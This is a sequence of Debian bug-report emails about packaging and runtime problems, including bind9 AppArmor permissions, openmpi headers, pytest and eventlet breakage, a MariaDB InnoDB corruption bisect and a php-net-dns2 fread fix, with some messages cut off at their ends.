Bug#884995: [Pkg-dns-devel] Bug#884995: bind9 doesn't start after upgrade. Complains /var/log/bind.log permission denied
Control: severity -1 normal
Please also note that it doesn't break unrelated software.
Ondřej
On 22 December 2017 17.09.17 Noury wrote:
Package: bind9
Version: 1:9.11.2+dfsg-5
Severity: critical
Justification: breaks unrelated software
Dear Maintainer,
When starting bind9, I have error messages and bind doesn't start
Other packages are unusable because they need it (ex exim4 as it's my MTA)
Extract from /var/log/syslog:
=== begin =
Dec 22 16:28:39 colibri named[26358]: none:105: 'max-cache-size 90%' -
setting to 1760MB (out of 1955MB)
Dec 22 16:28:39 colibri named[26358]: configuring command channel from
'/etc/bind/rndc.key'
Dec 22 16:28:39 colibri named[26358]: command channel listening on
127.0.0.1#953
Dec 22 16:28:39 colibri named[26358]: configuring command channel from
'/etc/bind/rndc.key'
Dec 22 16:28:39 colibri named[26358]: command channel listening on ::1#953
Dec 22 16:28:39 colibri named[26358]: isc_stdio_open '/var/log/bind.log'
failed: permission denied
Dec 22 16:28:39 colibri named[26358]: isc_stdio_open '/var/log/bind.log'
failed: permission denied
Dec 22 16:28:39 colibri named[26358]: configuring logging: permission denied
Dec 22 16:28:39 colibri named[26358]: loading configuration: permission denied
Dec 22 16:28:39 colibri named[26358]: exiting (due to fatal error)
Dec 22 16:28:39 colibri kernel: [288377.634631] audit: type=1400
audit(1513956519.915:16): apparmor="DENIED" operation="mknod"
profile="/usr/sbin/named" name="/var/log/bind.log" pid=26358
comm="isc-worker" requested_mask="c" denied_mask="c" fsuid=110 ouid=110
Dec 22 16:28:39 colibri systemd[1]: bind9.service: Main process exited,
code=exited, status=1/FAILURE
Dec 22 16:28:39 colibri systemd[1]: bind9.service: Failed with result
'exit-code'.
=== end =
Some other informations:
ls -l /var/log/bind.log:
-rw-rw-r-- 1 root bind 10485840 Jul 28 2016 /var/log/bind.log
grep bind /etc/passwd
bind:x:110:116::/var/cache/bind:/bin/false
grep bind /etc/group
bind:x:116:
-- System Information:
Debian Release: buster/sid
APT prefers testing
APT policy: (500, 'testing')
Architecture: amd64 (x86_64)
Kernel: Linux 4.13.0-1-amd64 (SMP w/1 CPU core)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8),
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
Versions of packages bind9 depends on:
ii adduser3.116
ii bind9utils 1:9.11.2+dfsg-5
ii debconf [debconf-2.0] 1.5.65
ii libbind9-160 1:9.11.2+dfsg-5
ii libc6 2.25-3
ii libcap21:2.25-1.2
ii libcomerr2 1.43.7-1
ii libdns169 1:9.11.2+dfsg-5
ii libgeoip1 1.6.11-3
ii libgssapi-krb5-2 1.15.2-2
ii libirs160 1:9.11.2+dfsg-5
ii libisc166 1:9.11.2+dfsg-5
ii libisccc1601:9.11.2+dfsg-5
ii libisccfg160 1:9.11.2+dfsg-5
ii libjson-c3 0.12.1-1.2
ii libk5crypto3 1.15.2-2
ii libkrb5-3 1.15.2-2
ii liblwres1601:9.11.2+dfsg-5
ii libssl1.1 1.1.0g-2
ii libxml22.9.4+dfsg1-5.2
ii lsb-base 9.20170808
ii net-tools 1.60+git20161116.90da8a0-1
ii netbase5.4
bind9 recommends no packages.
Versions of packages bind9 suggests:
pn bind9-doc
ii dnsutils1:9.11.2+dfsg-5
pn resolvconf
pn ufw
-- Configuration Files:
/etc/bind/named.conf.local changed:
//
// Do any local configuration here
//
// Consider adding the 1918 zones here, if they are not used in your
// organization
//include "/etc/bind/zones.rfc1918";
zone "dagami.org"{
type master;
file "zone/dagami.org";
notify yes;
also-notify{
173.244.206.26; # a.transfer.buddyns.com
217.70.177.40; # ns6.gandi.net
88.198.106.11; # c.ns.buddyns.com
103.6.87.125; # c.ns.buddyns.com
};
allow-transfer {
173.244.206.26; # a.transfer.buddyns.com
88.198.106.11; # c.ns.buddyns.com
108.61.224.67; # buddydns
103.6.87.125; # buddydns
185.136.176.247; # buddydns
217.70.177.40; # ns6.gandi.net
103.6.87.125; # c.ns.buddyns.com
};
allow-update {
127.0.0.1;
51.255.40.59;
};
journal "/var/cache/bind/zone/dagami.org.jnl";
};
zone "dagami.tk"{
type master;
file "zone/dagami.tk";
notify yes;
also-notify{
173.244.206.26; # a.transfer.buddyns.com
88.198.106.11; # c.ns.buddyns.com
};
allow-transfer {
173.244.206.26; # a.transfer.buddyns.com
88.198.106.11; # c.ns.buddyns.com
};
};
zone "1.168.192.IN-ADDR.ARPA"{
type
Bug#457088: [Pkg-openmpi-maintainers] Bug#457088: mpi.h is missing
On 12/19/07, Dirk Eddelbuettel <[EMAIL PROTECTED]> wrote: > On Wed, Dec 19, 2007 at 07:40:13PM +0100, Ondrej Certik wrote: > > On Dec 19, 2007 7:15 PM, Dirk Eddelbuettel <[EMAIL PROTECTED]> wrote: > > > On Wed, Dec 19, 2007 at 06:49:15PM +0100, Ondrej Certik wrote: > > > > Package: libopenmpi-dev > > > > Version: 1.2.4-5 > > > > Severity: serious > > > > > > > > --- Please enter the report below this line. --- > > > > > > > > Hi, > > > > > > > > the mpi.h is missing. I found it in > > > > > > > > /usr/lib/openmpi/include/ > > > > > > > > please add at least a symlink or something to > > > > > > > > /usr/include > > > > > > > > the is breaks the python-petsc4py package for example: > > > > > > > > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=456869 > > > > > > > > It used to work before. I could fix it by patching the build scripts > to include /usr/lib/openmpi/include/, but > > > > the right solution imho is to fix libopenmpi-dev. > > > > > > Nope, as we as package maintainers simply changed the location. Study > > > the configure options you have in your client (source) code. > > > > > > For what it's worth, I just made the same change in Rmpi (being its > > > maintainer). > > > > > > mpi.h not being in /usr/include is not a bug. and certainly not a > > > serious bug. Please show some more restraint. > > > > > > You can always ask us off-line, as you have seen in the last few days > > > we tend to respond quickly. > > > > I am sorry I put the severity wrong. But you, as the maintainer can > > adjust it as you see fit. > > > > As to the real problem - I just asked about exactly this on > debian-python: > > > > http://lists.debian.org/debian-python/2007/12/msg00030.html > > > > and I think include files belong to /usr/include, accordig to the FHS: > > > > > http://www.debian.org/doc/packaging-manuals/fhs/fhs-2.3.html#USRINCLUDEDIRECTORYFORSTANDARDINCLU > > > > So it's imho a bug and should be reopened. (I know how to fix > > petsc4py, I just tried and confirmed it works, but I think it's a bug > > that should be fixed in openmpi, not petsc4py). Why do you think the > > header files shouldn't be in /usr/include? > > As you may know, we are trying to let Open MPI coexist with MPICH and > LAM. > > /usr/include is fine for _non-conflicting_ files as good as a general > rule, but not so clear if several packages provide it. By 'staying > out of each others way' it is easier to build against several MPI > implementations. I meant something like /usr/include/openmpi/ > > So no bug here. I am not going to argue with you if it is a bug or not, but imho all packages I know use /usr/include, also I provided references that suggest to do it as I say. Can you provide some arguments why you think they are wrong? Ondrej > > Thanks, Dirk > > -- > Three out of two people have difficulties with fractions. > -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
Bug#902959: pluginhook: diff for NMU version 0~20150216.0~a320158-2.1
Hi, uploaded to DELAYED/10-day Thanks. -- Best regards Ondřej Nový
Bug#933914: python3-pytest: pytest v4 breaks existing tests
Hi, Drew Parsons píše v Út 06. 08. 2019 v 17:25 +0800: > e.g what to do about..."/usr/lib/python3/dist- > packages/flaky/flaky_pytest_plugin.py", line 272, in > call_runtest_hookINTERNALERROR> when=when,INTERNALERROR> > TypeError: __init__() missing 3 required positional arguments: > 'excinfo', 'start', and 'stop' this fix looks related: https://github.com/box/flaky/pull/140/commits/9f29ed0350391c821f04118fde3f019d970dc8b2 -- Best regards Ondřej Nový signature.asc Description: This is a digitally signed message part
Bug#866696: src:python-pyeclib: FTBFS on mips64el due to test failures after rebuild with python3.6
Hi, I requested removal of mips64el [1]. This lib is not compatible with this arch and it was built by mistake. [1] https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=871054 -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#881448: [PKG-Openstack-devel] Bug#881448: Bug#881448: python-eventlet fails to install on amd64: SyntaxError: invalid syntax
So you uploaded package without run of autopkgtest, which can check if package works and without even trying to install that package? So just blindly upgrade from upstream and upload? Huh. 2017-11-12 9:50 GMT+01:00 Thomas Goirand : > On 11/12/2017 08:51 AM, Chris Lamb wrote: > > Hi, > > > >> python-eventlet fails to install on amd64: SyntaxError: invalid syntax > > > > Sat 11 18:37 < zigo> In Python 2, with what I just uploaded for > python-eventlet, I have these issues: > > Sat 11 18:37 < zigo> Setting up python-eventlet (0.20.0-1) ... > > Sat 11 18:37 < zigo> File "/usr/lib/python2.7/dist- > packages/eventlet/green/http/client.py", line 195 > > Sat 11 18:37 < zigo> _is_legal_header_name = > re.compile(rb'[^:\s][^:\r\n]*\Z').match > > Sat 11 18:37 < zigo> > ^ > > Sat 11 18:37 < zigo> SyntaxError: invalid syntax > > Sat 11 18:37 < zigo> File "/usr/lib/python2.7/dist- > packages/eventlet/green/http/cookiejar.py", line 1269 > > Sat 11 18:37 < zigo> yield from deepvalues(obj) > > Sat 11 18:37 < zigo> ^ > > Sat 11 18:37 < zigo> SyntaxError: invalid syntax > > Sat 11 18:37 < zigo> Does anyone know how to patch this? > > Sat 11 18:38 < zigo> It works perfectly in py3... > > Sat 11 18:40 < zigo> Looks like doing b'' for the string of the first > issue is fixing the issue for py2, and works in py3. > > Sat 11 18:40 < zigo> I'm not sure for the yield though. > > Sat 11 18:44 < wRAR> of course you can't "fix" yield from for Python < > 3.5 > > Sat 11 18:45 < zigo> Hum... I fix I got it ! :) > > Sat 11 18:46 < wRAR> https://github.com/eventlet/ > eventlet/blob/master/eventlet/green/http/__init__.py#L56 > > Sat 11 18:46 < wRAR> you don't need to fix the *code* > > Sat 11 18:47 < zigo> wRAR: I actually do... > > Sat 11 18:48 < wRAR> ok > > Sat 11 18:48 < wRAR> and for the first line do you mean you removed > the r prefix? > > Sat 11 18:48 < zigo> wRAR: Yes. Is this wrong? > > Sat 11 18:48 < wRAR> do you know what does this prefix mean? > > Sat 11 18:49 < zigo> wRAR: I know what b means, not sure what rb does. > > Sat 11 18:49 < wRAR> I see > > Sat 11 18:49 < zigo> Which is why I'm asking in the channel. > > Sat 11 18:49 < wRAR> https://docs.python.org/3/ > library/stdtypes.html#text-sequence-type-str > > Sat 11 18:50 < wRAR> I guess you never wrote regulare expression code > in Python? > > Sat 11 18:51 < zigo> Right. > > Sat 11 18:52 < zigo> Oh... > > Sat 11 18:52 < zigo> Indeed, removing r is a bad idea... :P > > > > ie. the maintainer is at least aware of the issue. > > > > Zigo, I just went to provide a patch of my own but I cannot find > > the latest packaging corresponding to this version in the Vcs-Git > > repository. > > > > Regards, > > That's nice of you Chris. We're currently not sure where to host the VCS > of this package, and I'm not sure it's going to stay there. Anyway, I've > currently pushed it to: > > /git/openstack/python/python-eventlet.git > > I've produced 2 patches already for it: > fix-string-using-rb-in-python2.patch > fix-yield-from-in-py2.patch > > though I'm not sure they are good enough, and they are certainly not > enough (ie: after applying, there's still Py 2.7 compile problems). > > Thanks a lot for any help you may provide, Eventlet is a key package for > OpenStack, and we need it for finishing this release. I tried upgrading > to 0.20.0, because there's a problem with building Neutron, which seems > to be related to this (ie: unit test fails to start with the older > version 0.19.0). > > Cheers, > > Thomas Goirand (zigo) > > ___ > Openstack-devel mailing list > openstack-de...@lists.alioth.debian.org > http://lists.alioth.debian.org/cgi-bin/mailman/listinfo/openstack-devel > -- S pozdravem/Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B Jabber: on...@njs.netlab.cz ICQ: 115-674-713 Facebook: http://www.facebook.com/onovy Tel/Cell: +420 777 963 207 Datová schránka: aypqr6c
Bug#1077214: evdi-dkms: module fails to build for Linux 6.10: error: implicit declaration of function 'vmap'
Hello, Can this be finally fixed please? It's going on for almost a month now and it should be as simple as bumping `evdi` to 1.14.5 (see https://github.com/DisplayLink/evdi/issues/469 ) - as celel...@gmail.com already mentioned. Best Regards, Ondrej P.
Bug#1077214: evdi-dkms: module fails to build for Linux 6.10: error: implicit declaration of function 'vmap'
Hello, Indeed if you just change the evdi version to 1.14.6 in https://salsa.debian.org/debian/evdi and then build the deb (e.g. via `dpkg-buildpackage -uc -us`) and install it, then the module gets built for the latest kernels OK. Best Regards, Ondrej P.
Bug#937144: Bug#952130: Bug#937769: getting python-linecache2/python-traceback2 fixes into testing (FAO traceback2, funcsigs nipype and numba maintainers).
Hi, út 21. 4. 2020 v 23:24 odesílatel Thomas Goirand napsal: > > But that still leaves the question of what to do about the dependency of > > pytest on pypy-funcsigs ? should pypy modules be removed from pytest and > > it's reverse-dependencies in the same way that regular python2 modules > > were? how feasible is that? are pypy-* packages only useful with python2 > > pypy or are they also useful with python3 pypy? > > I really don't know about pypy. Probably the pypy-pytest should indeed > go away, as the initial plan was to switch to pypy3. Maybe tumbleweed > (Stefano Rivera) would be able to answer. I'm adding him as Cc. > I guess I can say something about pytest because I'm maintainer of pytest, right? :) I'm perfectly fine with removing pypy-pytest binary package and all other dependencies in chain. It's painfull to maintain it. -- Best regards Ondřej Nový
Bug#934959:
reassign 934959 src:sunpy 0.9.6-2 thx This is bug in sunpy, using StopIteration in newer Python 3. Thanks. -- Best regards Ondřej Nový
Bug#939990: bird: CVE-2019-16159
Hi For Sid, we plan to release soon version 1.6.8 including bugfix for this bug. For Buster, i backported bugfix for this bug and two other important security-related bugfixes for 1.6.6, available in oz-deb Git branch: https://gitlab.labs.nic.cz/labs/bird/commits/oz-deb The fixes are: ba870cab310c151ae8827907c604900ff5cd4d11 - Fix this bug (CVE-2019-16159) 37f39789f483afd10bcfadca8b414e951ffb6d22 - Fix bug in privilege revocation causing BIRD in some cases run with more privileges than necessary 2545b91b8b96151b415c4d22b3c4ab3835752540 - Fix bug allowing easily triggerable crash from CLI -- Ondrej 'Santiago' Zajicek (email: santi...@crfreenet.org) signature.asc Description: PGP signature
Bug#975929: Bug in check-manifest, reassigning
Hi, check-manifest have in setup.py: install_requires=[ 'build>=0.1', and doesn't have python3-build (which is not in archive) in B-D. Thus reassigning to check-manifest. -- Best regards Ondřej Nový
Bug#975929: python-logfury: autopkgtest tries to use pip to download and install code from the internet
Hi, check-manifest have in setup.py:install_requires=['build>=0.1', and doesn't have python3-build (which is not in archive) in B-D. Thus reassigning to check-manifest. -- Best regards Ondřej Nový signature.asc Description: This is a digitally signed message part
Bug#971564: python-pygit2: libgit2 1.0 transition
Hi, if you want to proceed with the transition, maybe it's a good idea to upload libgit2 to unstable first :) python-pygit2 is ready for transition since 12 Jun 2020 (in experimental). -- Best regards Ondřej Nový
Bug#907168: [Python-modules-team] Bug#907168: pytest-httpbin FTBFS with OpenSSL 1.1.1
Hi, út 28. 8. 2018 v 15:36 odesílatel Pierre-Elliott Bécue napsal: > This would imply to do a Debian patch in upstream's source. > I had similar bug in eventlet, solution: https://github.com/eventlet/eventlet/pull/516 https://salsa.debian.org/python-team/modules/python-eventlet/commit/32dc98ce3519b42b4edfe02b9599b916b052c84c -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#914420: [Python-modules-team] Bug#914420: python-pytest: Breaks many Python 2 test suites
Hi Ole, this looks like bug in astropy and other packages. They are just not compatible with newer pytest. For example astropy upstream uses pytest 3.9 and/or 3.10 for testing code, see https://github.com/astropy/astropy/commit/3e34e7c450ebd982978423d8774ef6953832f610 I tried to build simple package python-m3u8, which uses pytest for py2 and py3 and it build+test fine with newer pytest. Thanks. -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#914420: [Python-modules-team] Bug#914420: Bug#914420: python-pytest: Breaks many Python 2 test suites
Hi, pá 23. 11. 2018 v 13:21 odesílatel Ole Streicher napsal: > By reading the upstream changelog, I could not find a cause what should > cause the incompatibility. Also, the logs now all contain a warning like > me either. :( > /usr/lib/python2.7/dist-packages/_pytest/cacheprovider.py:58 > /usr/lib/python2.7/dist-packages/_pytest/cacheprovider.py:58: > PytestWarning: could not create cache path > /usr/lib/python2.7/dist-packages/aplpy/.pytest_cache/v/cache/nodeids > PytestWarning(fmt.format(**args) if args else fmt), self._config > > which is not present in the Python 3 runs (and also not with pytest > 3.6.4) -- this shows that probably something goes wrong when using > pytest/Python2 on installed packages. > good point. I will dig into this. > For python-m3u8, the CI test is a simple m3u8.loads() call that does not > invoke pytest at all. > package build, not CI test :] -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#891727: NMU
Because of: 1. fix for this bug is in git from 1st March (almost ~3 mons) 2. I asked Sandro Tosi at 10th May for upload, he told me "no, please hold" 3. this is release-critical bug older than 7 days 4. there is no reply from maintainer for more than 7 days in this bug I done NMU to DELAYED/0. Debdiff attached. -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B pyopenssl_17.5.0-1.1.patch Description: Binary data
Bug#860225: bind9: Wheezy hit by CVE-2017-3139
Package: bind9 Version: 1:9.8.4.dfsg.P1-6+nmu2+deb7u18 Followup-For: Bug #860225 Dear Maintainer, looks like I've just been hit by CVE-2017-3139 on Debian Wheezy. Seems it's not limited to RedHat: Aug 31 17:03:24 r210 named[29899]: validator.c:1858: INSIST(rdataset->type == ((dns_rdatatype_t)dns_rdatatype_dnskey)) failed, back trace Aug 31 17:03:24 r210 named[29899]: #0 0x7f0b982b8e19 in ?? Aug 31 17:03:24 r210 named[29899]: #1 0x7f0b96bf5f3a in ?? Aug 31 17:03:24 r210 named[29899]: #2 0x7f0b97bb4e57 in ?? Aug 31 17:03:24 r210 named[29899]: #3 0x7f0b97bbb599 in ?? Aug 31 17:03:24 r210 named[29899]: #4 0x7f0b96c14dfd in ?? Aug 31 17:03:24 r210 named[29899]: #5 0x7f0b965c8b50 in ?? Aug 31 17:03:24 r210 named[29899]: #6 0x7f0b95fb2fbd in ?? Aug 31 17:03:24 r210 named[29899]: exiting (due to assertion failure) -- System Information: Debian Release: 7.11 APT prefers oldoldstable-updates APT policy: (500, 'oldoldstable-updates'), (500, 'oldoldstable') Architecture: amd64 (x86_64) Kernel: Linux 3.2.0-4-amd64 (SMP w/2 CPU cores) Locale: LANG=en_US.UTF-8, LC_CTYPE=sk_SK.UTF-8 (charmap=UTF-8) Shell: /bin/sh linked to /bin/dash Versions of packages bind9 depends on: ii adduser3.113+nmu3 ii bind9utils 1:9.8.4.dfsg.P1-6+nmu2+deb7u18 ii debconf [debconf-2.0] 1.5.49 ii libbind9-801:9.8.4.dfsg.P1-6+nmu2+deb7u18 ii libc6 2.13-38+deb7u12 ii libcap21:2.22-1.2 ii libdns88 1:9.8.4.dfsg.P1-6+nmu2+deb7u18 ii libgssapi-krb5-2 1.10.1+dfsg-5+deb7u8 ii libisc84 1:9.8.4.dfsg.P1-6+nmu2+deb7u18 ii libisccc80 1:9.8.4.dfsg.P1-6+nmu2+deb7u18 ii libisccfg821:9.8.4.dfsg.P1-6+nmu2+deb7u18 ii liblwres80 1:9.8.4.dfsg.P1-6+nmu2+deb7u18 ii libssl1.0.01.0.1t-1+deb7u2 ii libxml22.8.0+dfsg1-7+wheezy9 ii lsb-base 4.1+Debian8+deb7u1 ii net-tools 1.60-24.2 ii netbase5.0 bind9 recommends no packages. Versions of packages bind9 suggests: ii bind9-doc 1:9.8.4.dfsg.P1-6+nmu2+deb7u18 ii dnsutils1:9.8.4.dfsg.P1-6+nmu2+deb7u18 pn resolvconf pn ufw -- Configuration Files: /etc/bind/named.conf.local changed [not included] -- debconf information excluded
Bug#885793: #885793: tldr-py,tldr: File collision when installing together: /usr/bin/tldr (and maybe further files)
Hi, I prefer to use update-alternatives. What do you think Clint? -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#915198: [Python-modules-team] Bug#915198: python-molotov FTBFS: BrokenPipeError: [Errno 32] Broken pipe
Hi, I can't reproduce it and I can build this package locally without any problem. -- Best regards Ondřej Nový Email: n...@ondrej.org PGP: 3D98 3C52 EB85 980C 46A5 6090 3573 1255 9D1E 064B
Bug#965111: searx: autopkgtests fails with newer python-werkzeug
correct link, sorry: https://ci.debian.net/data/autopkgtest/testing/amd64/s/searx/6271353/log.gz -- Best regards Ondřej Nový
Bug#996028: [debian-mysql] Bug#996028: InnoDB: corrupted TRX_NO after upgrading to 10.3.31
On Sunday 10 October 2021 16:55:45 Otto Kekäläinen wrote: > Hello! > > Thanks for reporting. Could you please check if this has been reported > upstream at jira.mariadb.org? > > There isn't much we can do about InnoDB internals in Debian packaging. > The problem is in the ibdata1 file (about 450MB). Deleted other database directories and it still crashes, deleted ibdata1 and it runs. How to bisect mariadb from git? Tried: $ git bisect good mariadb-10.3.29 $ git bisect bad mariadb-10.3.31 the build process showed version 10.2 so I aborted it. Checked out mariadb-10.3.30 but dpkg-buildpackage failed with: dh_install: mariadb-plugin-cassandra missing files: etc/mysql/conf.d/cassandra.cnf -- Ondrej Zary
Bug#996028: [debian-mysql] Bug#996028: InnoDB: corrupted TRX_NO after upgrading to 10.3.31
On Sunday 10 October 2021 23:58:12 Otto Kekäläinen wrote: > > The problem is in the ibdata1 file (about 450MB). Deleted other database > > directories and it still crashes, deleted ibdata1 and it runs. > > > > How to bisect mariadb from git? Tried: > > $ git bisect good mariadb-10.3.29 > > $ git bisect bad mariadb-10.3.31 > > the build process showed version 10.2 so I aborted it. > > > > Checked out mariadb-10.3.30 but dpkg-buildpackage failed with: > > dh_install: mariadb-plugin-cassandra missing files: > > etc/mysql/conf.d/cassandra.cnf > > Some dependency was missing and Cassandra was not built. Note that the > upstream repository is not identical to the one in Debian regarding > the contents of debian/ directory. MariaDB builds without a cache take > 30 mins each and there are all kinds of things going on. Doing bisect > (fully correctly) on MariaDB is hard even for experienced developers. > Your time is probably better spent doing some other kind of debugging. > > I recommend that you file a bug about this upstream, and try to attach > relevant info from the error log, maybe a strace output etc. Upstream > devs will guide you on what to debug next. > > One thing you could also try is to start the server with 10.3.29 and > ensure that you have a clean shutdown (SET GLOBAL > innodb_fast_shutdown=0; SHUTDOWN) and only after that start with the > new 10.3.31 binary. With fast shutdown disabled, mysqld (10.3.29) seems to be stuck in an infinite loop. 100% CPU usage, no I/O for an hour until I killed it. Even dropping all the databases did not help - killed it after it has been running for 5 minutes. Deleted ibdata1 (and ib_logfile0, ib_logfile1), then shutdown ended immediately. Seems that the file structure is corrupted somehow - probably because of a previous bug. One table is also affected by the "ERROR 1118 (42000): Row size too large (> 8126)" bug. When complete SQL dump is restored with a new ibdata1, everything works (upgrade to 10.3.31 and also clean shutdown). -- Ondrej Zary
Bug#996028: [debian-mysql] Bug#996028: #996028 InnoDB: corrupted TRX_NO after upgrading to 10.3.31
On Thursday 14 October 2021, Yves-Alexis Perez wrote: > On Thu, 2021-10-14 at 00:03 -0700, Otto Kekäläinen wrote: > > Right. Here is for Buster: > > > > https://salsa.debian.org/mariadb-team/mariadb-10.3/-/commit/8ccf2240960cbb609cedfeb269df22d43ccbba21 > > https://salsa.debian.org/mariadb-team/mariadb-10.3/-/pipelines/302376 > > Unfortunately, with: > > ii libmariadb3:amd64 1:10.3.31-0+deb10u1+salsaci > amd64MariaDB database client library > ii mariadb-client 1:10.3.31-0+deb10u1+salsaci all > MariaDB database client (metapackage depending on the latest version) > ii mariadb-client-10.31:10.3.31-0+deb10u1+salsaci > amd64MariaDB database client binaries > ii mariadb-client-core-10.3 1:10.3.31-0+deb10u1+salsaci > amd64MariaDB database core client binaries > ii mariadb-common 1:10.3.31-0+deb10u1+salsaci all > MariaDB common metapackage > ii mariadb-server 1:10.3.31-0+deb10u1+salsaci all > MariaDB database server (metapackage depending on the latest version) > ii mariadb-server-10.31:10.3.31-0+deb10u1+salsaci > amd64MariaDB database server binaries > ii mariadb-server-core-10.3 1:10.3.31-0+deb10u1+salsaci > amd64MariaDB database core server files > > > I still get: > > 2021-10-14 9:38:48 0 [Note] InnoDB: Using Linux native AIO > 2021-10-14 9:38:48 0 [Note] InnoDB: Mutexes and rw_locks use GCC atomic > builtins > 2021-10-14 9:38:48 0 [Note] InnoDB: Uses event mutexes > 2021-10-14 9:38:48 0 [Note] InnoDB: Compressed tables use zlib 1.2.11 > 2021-10-14 9:38:48 0 [Note] InnoDB: Number of pools: 1 > 2021-10-14 9:38:48 0 [Note] InnoDB: Using SSE2 crc32 instructions > 2021-10-14 9:38:48 0 [Note] InnoDB: Initializing buffer pool, total size = > 128M, instances = 1, chunk size = 128M > 2021-10-14 9:38:48 0 [Note] InnoDB: Completed initialization of buffer pool > 2021-10-14 9:38:48 0 [Note] InnoDB: If the mysqld execution user is > authorized, page cleaner thread priority can be changed. See the man page of > setpriority(). > 2021-10-14 9:38:48 0 [ERROR] InnoDB: corrupted TRX_NO 10002001a6990af > 2021-10-14 9:38:48 0 [Note] InnoDB: Retry with innodb_force_recovery=5 > 2021-10-14 9:38:48 0 [ERROR] InnoDB: Plugin initialization aborted with > error Data structure corruption > 2021-10-14 9:38:49 0 [Note] InnoDB: Starting shutdown... > 2021-10-14 9:38:49 0 [ERROR] Plugin 'InnoDB' init function returned error. > 2021-10-14 9:38:49 0 [ERROR] Plugin 'InnoDB' registration as a STORAGE > ENGINE failed. > 2021-10-14 9:38:49 0 [Note] Plugin 'FEEDBACK' is disabled. > 2021-10-14 9:38:49 0 [ERROR] Unknown/unsupported storage engine: InnoDB > 2021-10-14 9:38:49 0 [ERROR] Aborting > > So maybe I do have a corrupted database or something but I'm unsure what to do > next (I don't think I have an older backups of the database). Also it still > works just fine with 10.3.25. I still get the error too. That patch was meant to fix a problem specific to BSD. -- Ondrej Zary
Bug#996028: [debian-mysql] Bug#996028: #996028 InnoDB: corrupted TRX_NO after upgrading to 10.3.31
Tested upstream mariadb packages. 10.3.30 works, 10.3.31 fails. -- Ondrej Zary
Bug#996028: [debian-mysql] Bug#996028: #996028 InnoDB: corrupted TRX_NO after upgrading to 10.3.31
e46f76c9749d7758765ba274a212cfc2dcf3eeb8 is the first bad commit commit e46f76c9749d7758765ba274a212cfc2dcf3eeb8 Author: Marko Mäkelä Date: Mon Jun 21 12:34:07 2021 +0300 MDEV-15912: Remove traces of insert_undo Let us simply refuse an upgrade from earlier versions if the upgrade procedure was not followed. This simplifies the purge, commit, and rollback of transactions. Before upgrading to MariaDB 10.3 or later, a clean shutdown of the server (with innodb_fast_shutdown=1 or 0) is necessary, to ensure that any incomplete transactions are rolled back. The undo log format was changed in MDEV-12288. There is only one persistent undo log for each transaction. :04 04 4bd1cf7f96bcfcfdeadbdcd6771e348e13b0d312 6b52363e618d955a49834ebcef6778430e6372cb M extra :04 04 25b37ceda117b9a05a200c6e3a8d4bca38e23bd5 dff451f0a7a6d6246334aace697b230b4174f2c1 M mysql-test :04 04 4a0352d498b9487cae46c6363d86603de0ccb361 3e6aa2377e89f28192e987f2f8655e3d866ab4be M storage -- Ondrej Zary
Bug#996028: [debian-mysql] Bug#996028: #996028 InnoDB: corrupted TRX_NO after upgrading to 10.3.31
On Friday 22 October 2021, Yves-Alexis Perez wrote: > On Thu, 2021-10-14 at 19:38 +0200, Ondrej Zary wrote: > > MDEV-15912: Remove traces of insert_undo > > > > Let us simply refuse an upgrade from earlier versions if the > > upgrade procedure was not followed. This simplifies the purge, > > commit, and rollback of transactions. > > > > Before upgrading to MariaDB 10.3 or later, a clean shutdown > > of the server (with innodb_fast_shutdown=1 or 0) is necessary, > > to ensure that any incomplete transactions are rolled back. > > The undo log format was changed in MDEV-12288. There is only > > one persistent undo log for each transaction. > > > Hi Ondrej, > it might be worth trying with that patch reverted, but I'm a bit confused at > the commit message. That seems to imply my server didn't have a clean shutdown > before upgrading to 10.3, which is possible but that upgrade is quite old by > now (afaict it's between Stretch and Buster), so I'm unsure what to do now. > > innodb_fast_shutdown=0 doesn't terminate on 10.3.25, and I'm not sure if there > are other ways to ensure a “clean shutdown”. > > Regards, With 10.3.29 running, I've dumped all databases (mysqldump --all-databases -p >mysql.dump), then dropped all databases, stopped mariadb and deleted /var/lib/mysql/ib*. Then restarted mariadb, restored databases (source mysql.dump) and finally upgraded to 10.3.31. So my problem is solved. I've also found the patch that's causing the problem. I'm not going to waste any more time on this. During many years of running mysql, upgrade just worked all the time. Looks like there are some quality problems with the developement process now. -- Ondrej Zary
Bug#1042457: php-net-dns2: incompatible with PHP 8.x: Uncaught ValueError: fread()
Package: php-net-dns2
Version: 1.5.0-1
Severity: grave
Tags: upstream
Justification: renders package unusable
X-Debbugs-Cc: z...@gsystem.sk
Dear Maintainer,
after upgrading to Debian 12, Horde stopped working. It logs messages like:
PHP Fatal error: Uncaught ValueError: fread(): Argument #2 ($length) must be
greater than 0 in /usr/share/php/Net/DNS2/Cache/File.php:142
Stack trace:
#0 /usr/share/php/Net/DNS2/Cache/File.php(142): fread()
#1 [internal function]: Net_DNS2_Cache_File->__destruct()
#2 {main}
thrown in /usr/share/php/Net/DNS2/Cache/File.php on line 142, referer:
https://localhost/horde/imp/dynamic.php?page=mailbox
It's a known bug of Net_DNS2, already fixed upstream.
A quick fix:
--- /usr/share/php/Net/DNS2/Cache/File.php- 2020-10-19 22:19:24.0
+0200
+++ /usr/share/php/Net/DNS2/Cache/File.php 2023-07-28 14:41:16.342298660
+0200
@@ -139,7 +139,11 @@
//
// read the file contents
//
